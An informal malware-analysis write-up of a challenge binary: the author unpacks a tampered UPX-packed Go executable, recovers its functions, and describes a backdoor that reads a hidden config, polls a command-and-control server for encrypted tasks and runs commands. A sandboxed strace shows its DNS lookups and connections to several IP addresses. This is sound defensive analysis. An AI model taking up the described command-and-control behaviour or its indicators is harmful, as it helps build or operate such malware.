Remember when we said earlier that the reason UPX wouldn't unpack, because the UPX internals had been modified? this is a common technique for anti-analysis, and if you know what was done, the technique can be undone. I don't know exactly how to do it, but I found a tool that accomplishes this: https://github.com/NozomiNetworks/upx-recovery-tool/
If we use it we are able to successfully recover the original unpacked executable, as shown by the headers and the fact it runs with the error message:
$ python3 upxrecoverytool.py -i ../buu -o test
The current binary doesn't have a section header
[i] File is UPX
[i] Checking l_info structure...
[!] l_info.l_magic mismatch: "b'WTRT'" found instead
[i] UPX! magic bytes patched @ 0xec
[i] UPX! magic bytes patched @ 0x1ebe33
[i] UPX! magic bytes patched @ 0x1ec316
[i] UPX! magic bytes patched @ 0x1ec320
[i] Checking p_info structure...
[i] No p_info fixes required
➜ upx-recovery-tool git:(main) ✗ file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
➜ upx-recovery-tool git:(main) ✗ ../upx-5.0.2-amd64_linux/upx -d test
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2025
UPX 5.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 20th 2025
File size Ratio Format Name
-------------------- ------ ----------- -----------
[WARNING] bad b_info at 0x1ec2cc
[WARNING] ... recovery at 0x1ec2c8
4767744 <- 2016068 42.29% linux/amd64 test
Unpacked 1 file.
➜ upx-recovery-tool git:(main) ✗ ls
LICENSE README.md requirements.txt rules test tests upxrecoverytool.py
➜ upx-recovery-tool git:(main) ✗ file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
➜ upx-recovery-tool git:(main) ✗ readelf -SeW test
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x465380
Start of program headers: 64 (bytes into file)
Start of section headers: 568 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 26
Section header string table index: 9
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 0] NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 0000000000401000 001000 23a4bb 00 AX 0 0 32
[ 2] .plt PROGBITS 000000000063b4c0 23b4c0 000220 10 AX 0 0 16
[ 3] .rodata PROGBITS 000000000063c000 23c000 0e1ad1 00 A 0 0 32
[ 4] .rela RELA 000000000071dad8 31dad8 000018 18 A 11 0 8
[ 5] .rela.plt RELA 000000000071daf0 31daf0 000318 18 A 11 2 8
[ 6] .gnu.version VERSYM 000000000071de20 31de20 00004c 02 A 11 0 2
[ 7] .gnu.version_r VERNEED 000000000071de80 31de80 000070 00 A 10 1 8
[ 8] .hash HASH 000000000071df00 31df00 0000bc 04 A 11 0 8
[ 9] .shstrtab STRTAB 0000000000000000 31dfc0 000100 00 0 0 1
[10] .dynstr STRTAB 000000000071e0c0 31e0c0 000230 00 A 0 0 1
[11] .dynsym DYNSYM 000000000071e300 31e300 000390 18 A 10 1 8
[12] .typelink PROGBITS 000000000071e6a0 31e6a0 0013e4 00 A 0 0 32
[13] .itablink PROGBITS 000000000071faa0 31faa0 000818 00 A 0 0 32
[14] .gosymtab PROGBITS 00000000007202b8 3202b8 000000 00 A 0 0 1
[15] .gopclntab PROGBITS 00000000007202c0 3202c0 12f2b0 00 A 0 0 32
[16] .go.buildinfo PROGBITS 0000000000850000 450000 000030 00 WA 0 0 16
[17] .dynamic DYNAMIC 0000000000850040 450040 000120 10 WA 10 0 8
[18] .got.plt PROGBITS 0000000000850160 450160 000120 08 WA 0 0 8
[19] .got PROGBITS 0000000000850280 450280 000008 08 WA 0 0 8
[20] .noptrdata PROGBITS 00000000008502a0 4502a0 031178 00 WA 0 0 32
[21] .data PROGBITS 0000000000881420 481420 00ab30 00 WA 0 0 32
[22] .bss NOBITS 000000000088bf60 48bf60 031b40 00 WA 0 0 32
[23] .noptrbss NOBITS 00000000008bdaa0 4bdaa0 007dc0 00 WA 0 0 32
[24] .tbss NOBITS 0000000000000000 000000 000008 00 WAT 0 0 8
[25] .interp PROGBITS 0000000000400fe4 000fe4 00001c 00 A 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R 0x1000
INTERP 0x000fe4 0x0000000000400fe4 0x0000000000400fe4 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x23b6e0 0x23b6e0 R E 0x1000
LOAD 0x23c000 0x000000000063c000 0x000000000063c000 0x213570 0x213570 R 0x1000
LOAD 0x450000 0x0000000000850000 0x0000000000850000 0x03bf60 0x075860 RW 0x1000
DYNAMIC 0x450040 0x0000000000850040 0x0000000000850040 0x000120 0x000120 RW 0x8
TLS 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000008 R 0x8
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x8
LOOS+0x5041580 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 0x8
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .text .plt .interp
03 .rodata .rela .rela.plt .gnu.version .gnu.version_r .hash .dynstr .dynsym .typelink .itablink .gosymtab .gopclntab
04 .go.buildinfo .dynamic .got.plt .got .noptrdata .data .bss .noptrbss
05 .dynamic
06 .tbss
07
08
➜ upx-recovery-tool git:(main) ✗ ./test
I don't belong here...
➜ upx-recovery-tool git:(main) ✗
I was hoping this would fix errors that were preventing our successful analysis earlier, but turns out still not really. When looking at the string "I don't belong here" we still see no cross references:
XREF IMG
except.. wait I've made a dumb mistake. I've found the string by searching for "don't", but any reference to the string would likely be pointing to the start of "I don't", 2 bytes back. Binja's just been a bit too helpful and picked out the exact part I asked for
GO static analysis with goresym
➜ GoReSym git:(master) ./GoReSym ../test
{
"Version": "unknown",
"BuildId": "",
"Arch": "amd64",
"OS": "",
"TabMeta": {
"VA": 7471808,
"Version": "1.18",
"Endianess": "LittleEndian",
"CpuQuantum": 1,
"CpuQuantumStr": "x86/x64/wasm",
"PointerSize": 8
},
"ModuleMeta": {
"VA": 8756512,
"TextVA": 4198400,
"Types": 6537216,
"ETypes": 7461585,
"Typelinks": {
"Data": 7464608,
"Len": 1273,
"Capacity": 1273
},
"ITablinks": {
"Data": 7469728,
"Len": 259,
"Capacity": 259
},
"LegacyTypes": {
"Data": 0,
"Len": 0,
"Capacity": 0
}
},
"Types": null,
"Interfaces": null,
"BuildInfo": {
"GoVersion": "unknown",
"Path": "",
"Main": {
"Path": "",
"Version": "",
"Sum": "",
"Replace": null
},
"Deps": null,
"Settings": null
},
"Files": null,
"UserFunctions": [
{
"Start": 4200090,
"End": 4200112,
"PackageName": "x_cgo_munmap",
"FullName": "x_cgo_munmap.cold"
},
{
"Start": 6527648,
"End": 6527872,
"PackageName": "main",
"FullName": "main.ZZzgf2nH"
},
{
"Start": 6527872,
"End": 6528320,
"PackageName": "main",
"FullName": "main.kYgXL_QA"
},
{
"Start": 6528320,
"End": 6528928,
"PackageName": "main",
"FullName": "main.yprG5We4"
},
{
"Start": 6528928,
"End": 6529696,
"PackageName": "main",
"FullName": "main.WG2BdUVb"
},
{
"Start": 6529696,
"End": 6531008,
"PackageName": "main",
"FullName": "main.qvHPoPlV"
},
{
"Start": 6531008,
"End": 6532352,
"PackageName": "main",
"FullName": "main.dT6K8IGR"
},
{
"Start": 6532352,
"End": 6532832,
"PackageName": "main",
"FullName": "main.LVEnGayC"
},
{
"Start": 6532832,
"End": 6533504,
"PackageName": "main",
"FullName": "main.MG2pKkLO"
},
{
"Start": 6533504,
"End": 6534331,
"PackageName": "main",
"FullName": "main.main"
}
],
"StdFunctions": null
}
➜ GoReSym git:(master)
-User Functions-
UserFunc0.StartVA: 0x40169a
UserFunc0.EndVA: 0x4016b0
UserFunc0.Package: x_cgo_munmap
UserFunc0.Name: cold
UserFunc1.StartVA: 0x639aa0 DONE
UserFunc1.EndVA: 0x639b80
UserFunc1.Package: main
UserFunc1.Name: ZZzgf2nH
UserFunc2.StartVA: 0x639b80 DONE
UserFunc2.EndVA: 0x639d40
UserFunc2.Package: main
UserFunc2.Name: kYgXL_QA
UserFunc3.StartVA: 0x639d40 DONE
UserFunc3.EndVA: 0x639fa0
UserFunc3.Package: main
UserFunc3.Name: yprG5We4
UserFunc4.StartVA: 0x639fa0
UserFunc4.EndVA: 0x63a2a0
UserFunc4.Package: main
UserFunc4.Name: WG2BdUVb
UserFunc5.StartVA: 0x63a2a0
UserFunc5.EndVA: 0x63a7c0
UserFunc5.Package: main
UserFunc5.Name: qvHPoPlV
UserFunc6.StartVA: 0x63a7c0
UserFunc6.EndVA: 0x63ad00
UserFunc6.Package: main
UserFunc6.Name: dT6K8IGR
UserFunc7.StartVA: 0x63ad00
UserFunc7.EndVA: 0x63aee0
UserFunc7.Package: main
UserFunc7.Name: LVEnGayC
UserFunc8.StartVA: 0x63aee0
UserFunc8.EndVA: 0x63b180
UserFunc8.Package: main
UserFunc8.Name: MG2pKkLO
UserFunc9.StartVA: 0x63b180
UserFunc9.EndVA: 0x63b4bb
UserFunc9.Package: main
UserFunc9.Name: main
This gives us the functions we're interested in.
Now I spent some time going thru each of these functions and working out what they did. I made some progress, but was quite frustrated by the fact the go functions were difficult to identify and had many layers. So I (/ LLM) wrote a ghidra script to take the JSON output of goresym, and rename all the standard library functions. So far I'd been using binja to try it out, but I only have the free version which lacks plugins & scripting, so I switched back to cutter/ghidra.
Maybe I should have gone with ghidra, as doing it with cutter involved a whole proper "plugin"
errrrr seems that without my shitty plugin, cutter has automatically worked out the binary is go, and already renamed the functions.
[0x0063a2a0]> Po ./upx-recovery-tool/test.rzdb
ERROR: Alignment is only defined for '>0' and 'n^2'. Is = 0
ERROR: Alignment is only defined for '>0' and 'n^2'. Is = 0
^[[A^[[ADetailed project load info:
project migrated from version 16 to 17.
project migrated from version 17 to 18.
project migrated from version 18 to 19.
project migrated from version 19 to 20.
project migrated from version 20 to 21.
[0x0063a2a0]> afl | head
0x00401000 1 89 sym.go.cgo_6cc2654a8ed3_C2func_getaddrinfo
0x00401060 1 12 sym.go.cgo_6cc2654a8ed3_Cfunc_freeaddrinfo
0x00401070 1 47 sym.go.cgo_6cc2654a8ed3_Cfunc_gai_strerror
0x004010a0 1 58 sym.go.cgo_6cc2654a8ed3_Cfunc_getaddrinfo
0x004010e0 3 224 sym.go.fatalf
0x004011c0 8 152 sym.go.cgo_wait_runtime_init_done
0x00401260 1 51 sym.go.x_cgo_notify_runtime_init_done
0x004012a0 1 49 sym.go.x_cgo_set_context_function
0x004012e0 1 52 sym.go.cgo_get_context_function
0x00401320 8 192 -> 185 sym.go.cgo_try_pthread_create
ok well that works. Right.
Now let's take a look at what's going on. We'll work as follows:
- pick functions that are not part of the std lib, ie the ones that are part of the malware itself
- for each function:
- examine what other functions it calls in the callgraph
- use this to work out what the function does, and name it appropriately
Here's an example: from cutter's callgraph we can see this function calls functions related to encryption, so we call it a_encrypt. We also see a function that sneds / receives HTTP data, and one that executes commands.
IMG
Having renamed our functions we look at main, and we can now clearly see the malware's logic:
- read a file ("/tmp/.X11/cnf")
- extract some data in json
- send a C2 request (probably for tasking)
- this function:
- exec command
- to get a hostname / uid to send C2
- encode url
- sprintf
- HTTP GET
- hex decode response
- decrypt data
- execute a command
- C2 send data:
- gen random number
- exec command (?)
- encode url
- sprintf
- decode hex
- encrypt data
- HTTP POST
So we've successfully recovered the main functionality of the binary. Now we want to answer the following questions:
- what format does the config file need to be in
- what domain does the C2 want to call out to?
- where does it get the encryption / decryption keys
- what task comes from the server.
haha fuck, the vm wiz originally provided the binary on had the config file all along xD
user@monthly-challenge:~$ ls -al /tmp/.X11/cnf
-rw-r--r-- 1 user user 144 Dec 20 13:24 /tmp/.X11/cnf
user@monthly-challenge:~$ cat !$
cat /tmp/.X11/cnf
��/9ٜv@��"V��n̝ G��n1[��b\ݛ<Cŝ0��?V��&GЍ!��;Eь8R��0R��&_ُ'��'G��z\��5Dу7\��5]��x9ҍvVٗ
X��v ًc��5P��5��7V��2��7R��bW��2��v9user@monthly-challenge:~$
Soooooo in fact we could have done dynamic analysis with the UPX packed bin and probably worked out what was going on just with syscall tracing...
let's strace with qemu again to get a correct trace with the config file in play:
docker run --rm -it \
--network none \
--read-only \
--cap-drop ALL \
--tmpfs /tmp \
-v /path/to/binary:/app/binary:ro \
-v /tmp/output:/output \
qemu-sandbox \
qemu-x86_64 -strace /app/binary 2>&1 | tee /output/trace.log
Here's the strace of what it does if you give it the valid config file
strace -f -e trace=file,network,process ./buu
execve("./buu", ["./buu"], 0x7fffdc28a758 /* 58 vars */) = 0
open("/proc/self/exe", O_RDONLY) = 4
readlink("/proc/self/exe", "/home/hendo/wiz/buu", 4095) = 19
open("/lib64/ld-linux-x86-64.so.2", O_RDONLY) = 5
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
openat(AT_FDCWD, "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size", O_RDONLY) = 4
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x71097afee990, parent_tid=0x71097afee990, exit_signal=0, stack=0x71097a7ee000, stack_size=0x7fff80, tls=0x71097afee6c0} => {parent_tid=[27172]}, 88) = 27172
strace: Process 27172 attached
[pid 27171] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7109725ff990, parent_tid=0x7109725ff990, exit_signal=0, stack=0x710971dff000, stack_size=0x7fff80, tls=0x7109725ff6c0}strace: Process 27173 attached
=> {parent_tid=[27173]}, 88) = 27173
[pid 27171] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x71097a7ed990, parent_tid=0x71097a7ed990, exit_signal=0, stack=0x710979fed000, stack_size=0x7fff80, tls=0x71097a7ed6c0}strace: Process 27174 attached
=> {parent_tid=[27174]}, 88) = 27174
[pid 27173] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x710979fec990, parent_tid=0x710979fec990, exit_signal=0, stack=0x7109797ec000, stack_size=0x7fff80, tls=0x710979fec6c0}strace: Process 27175 attached
=> {parent_tid=[27175]}, 88) = 27175
[pid 27171] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7109797eb990, parent_tid=0x7109797eb990, exit_signal=0, stack=0x710978feb000, stack_size=0x7fff80, tls=0x7109797eb6c0}strace: Process 27176 attached
=> {parent_tid=[27176]}, 88) = 27176
[pid 27171] openat(AT_FDCWD, "/tmp/.X11/cnf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] newfstatat(AT_FDCWD, "/usr/local/go/bin/uname", 0xc00007b898, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/home/hendo/go/bin/uname", 0xc00007b968, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/home/hendo/.cargo/bin/uname", 0xc00007ba38, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/local/sbin/uname", 0xc00007bb08, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/local/bin/uname", 0xc00007bbd8, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/sbin/uname", 0xc00007bca8, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/bin/uname", {st_mode=S_IFREG|0755, st_size=35336, ...}, 0) = 0
[pid 27171] openat(AT_FDCWD, "/dev/null", O_RDONLY|O_CLOEXEC) = 9
[pid 27171] openat(AT_FDCWD, "/dev/null", O_WRONLY|O_CLOEXEC) = 10
[pid 27171] clone(child_stack=NULL, flags=CLONE_VM|CLONE_VFORK|SIGCHLDstrace: Process 27177 attached
<unfinished ...>
[pid 27177] execve("/usr/bin/uname", ["uname", "-n"], 0xc0000001e0 /* 59 vars */ <unfinished ...>
[pid 27171] <... clone resumed>) = 27177
[pid 27177] <... execve resumed>) = 0
[pid 27177] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[pid 27177] openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
[pid 27177] openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
[pid 27177] openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] waitid(P_PID, 27177, <unfinished ...>
[pid 27177] exit_group(0) = ?
[pid 27177] +++ exited with 0 +++
[pid 27171] <... waitid resumed>{si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=27177, si_uid=1001, si_status=0, si_utime=0, si_stime=0}, WEXITED|WNOWAIT, NULL) = 0
[pid 27171] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=27177, si_uid=1001, si_status=0, si_utime=0, si_stime=0} ---
[pid 27171] wait4(27177, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, {ru_utime={tv_sec=0, tv_usec=752}, ru_stime={tv_sec=0, tv_usec=752}, ...}) = 27177
[pid 27171] openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] newfstatat(AT_FDCWD, "/etc/mdns.allow", 0xc0001601d8, 0) = -1 ENOENT (No such file or directory)
[pid 27171] socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
[pid 27171] connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
[pid 27171] socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
[pid 27171] connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=558, ...}, 0) = 0
[pid 27171] newfstatat(AT_FDCWD, "/", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
[pid 27171] openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] newfstatat(AT_FDCWD, "/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=922, ...}, 0) = 0
[pid 27171] openat(AT_FDCWD, "/etc/host.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] socket(AF_INET, SOCK_DGRAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 4
[pid 27171] setsockopt(4, SOL_IP, IP_RECVERR, [1], 4) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.53")}, 16) = 0
[pid 27171] sendmmsg(4, [{msg_hdr={msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="\257L\1 \0\1\0\0\0\0\0\1 wehiy6oj3hpaud3yske"..., iov_len=89}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, msg_len=89}, {msg_hdr={msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="\206D\1 \0\1\0\0\0\0\0\1 wehiy6oj3hpaud3yske"..., iov_len=89}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, msg_len=89}], 2, MSG_NOSIGNAL) = 2
[pid 27171] recvfrom(4, "\257L\201\200\0\1\0\6\0\0\0\1 wehiy6oj3hpaud3yske"..., 2048, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.53")}, [28 => 16]) = 185
[pid 27171] recvfrom(4, "\206D\201\200\0\1\0\6\0\0\0\1 wehiy6oj3hpaud3yske"..., 65536, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.53")}, [28 => 16]) = 257
[pid 27171] openat(AT_FDCWD, "/etc/gai.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] socket(AF_NETLINK, SOCK_RAW|SOCK_CLOEXEC, NETLINK_ROUTE) = 4
[pid 27171] bind(4, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 0
[pid 27171] getsockname(4, {sa_family=AF_NETLINK, nl_pid=27171, nl_groups=00000000}, [12]) = 0
[pid 27171] sendto(4, [{nlmsg_len=20, nlmsg_type=RTM_GETADDR, nlmsg_flags=NLM_F_REQUEST|NLM_F_DUMP, nlmsg_seq=1766237696, nlmsg_pid=0}, {ifa_family=AF_UNSPEC, ...}], 20, 0, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 20
[pid 27171] recvmsg(4, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[[{nlmsg_len=76, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET, ifa_prefixlen=8, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_HOST, ifa_index=if_nametoindex("lo")}, [[{nla_len=8, nla_type=IFA_ADDRESS}, inet_addr("127.0.0.1")], [{nla_len=8, nla_type=IFA_LOCAL}, inet_addr("127.0.0.1")], [{nla_len=7, nla_type=IFA_LABEL}, "lo"], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=673, tstamp=673}]]], [{nlmsg_len=96, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET, ifa_prefixlen=24, ifa_flags=0, ifa_scope=RT_SCOPE_UNIVERSE, ifa_index=if_nametoindex("eth0")}, [[{nla_len=8, nla_type=IFA_ADDRESS}, inet_addr("10.0.2.15")], [{nla_len=8, nla_type=IFA_LOCAL}, inet_addr("10.0.2.15")], [{nla_len=8, nla_type=IFA_BROADCAST}, inet_addr("10.0.2.255")], [{nla_len=9, nla_type=IFA_LABEL}, "eth0"], [{nla_len=8, nla_type=IFA_FLAGS}, 0], [{nla_len=8, nla_type=IFA_RT_PRIORITY}, 100], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=79820, ifa_valid=79820, cstamp=813, tstamp=813}]]], [{nlmsg_len=88, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET, ifa_prefixlen=16, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_UNIVERSE, ifa_index=if_nametoindex("docker0")}, [[{nla_len=8, nla_type=IFA_ADDRESS}, inet_addr("172.17.0.1")], [{nla_len=8, nla_type=IFA_LOCAL}, inet_addr("172.17.0.1")], [{nla_len=8, nla_type=IFA_BROADCAST}, inet_addr("172.17.255.255")], [{nla_len=12, nla_type=IFA_LABEL}, "docker0"], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=1034, tstamp=1034}]]]], iov_len=4096}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 260
[pid 27171] recvmsg(4, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[[{nlmsg_len=72, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET6, ifa_prefixlen=128, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_HOST, ifa_index=if_nametoindex("lo")}, [[{nla_len=20, nla_type=IFA_ADDRESS}, inet_pton(AF_INET6, "::1")], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=673, tstamp=673}], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT|IFA_F_NOPREFIXROUTE]]], [{nlmsg_len=80, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET6, ifa_prefixlen=64, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_LINK, ifa_index=if_nametoindex("eth0")}, [[{nla_len=20, nla_type=IFA_ADDRESS}, inet_pton(AF_INET6, "fe80::a00:27ff:fef8:c2eb")], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=811, tstamp=811}], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT], [{nla_len=5, nla_type=IFA_PROTO}, "\x03"]]]], iov_len=4096}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 152
[pid 27171] recvmsg(4, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[{nlmsg_len=20, nlmsg_type=NLMSG_DONE, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, 0], iov_len=4096}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 20
[pid 27171] socket(AF_INET, SOCK_DGRAM|SOCK_CLOEXEC, IPPROTO_IP) = 4
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.16.20.159")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(58242), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.12.115.43")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(49078), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("18.219.175.41")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(44415), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.13.81.14")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(60646), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.141.58.20")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(48184), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
